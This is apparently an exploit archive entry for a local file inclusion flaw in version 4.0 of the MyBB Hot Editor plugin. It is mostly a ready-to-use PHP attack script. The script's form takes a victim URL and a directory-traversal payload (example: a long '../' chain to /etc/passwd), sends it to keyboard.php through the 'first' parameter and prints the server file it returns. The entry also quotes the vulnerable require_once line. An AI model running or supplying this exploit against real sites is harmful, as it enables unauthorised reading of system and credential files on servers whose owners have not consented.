The MyBB Hot Editor plugin version 4.0 suffers from a local file inclusion vulnerability in the "sec" variable in keyboard.php.
e14c76898d21a2bb7836c82a1533fd84e33cbe089dfd3e60c8d2c67e653360c8
<?php
/*
Vendor : Liz0ziM
Web : www.expw0rm.com
Mail : liz0@expw0rm.com
---------------------------------------
Vul. Code : keyboard.php line 3
require_once "./vk_code/$first";
----------------------------------------
*/
?>
Hot Editor Local File İnclude Exploit <a href="http://www.expw0rm.com">Expw0rm</a> By Liz0ziM<br>
<form method="POST">
Target Url: <input name="url" type="text"> example: http://victim.com/richedit/<br>
File :<input name="sec" type="text"> example : ../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd <br>
<input type=submit name="yolla" value="Send"><br>
<?
if(isset($_POST[yolla]))
{
$url=$_POST[url];
$sec=$_POST[sec];
$git=$url."/keyboard.php?first=".$sec;
$ac=fopen($git,"r") or die("acamadim");;
while(!feof($ac) )
{
$cek=fgets($ac,1024);
if(eregi("<html>",$cek)) { echo '<br>Finishim'; exit();}
echo '<pre>';
echo $cek;
echo '</pre>';
}
fclose($ac);
}
?>
// Exploit Worm www.expw0rm.com
orginal: http://www.expw0rm.com/hot-editor-v40-local-file-inclusion_no113.html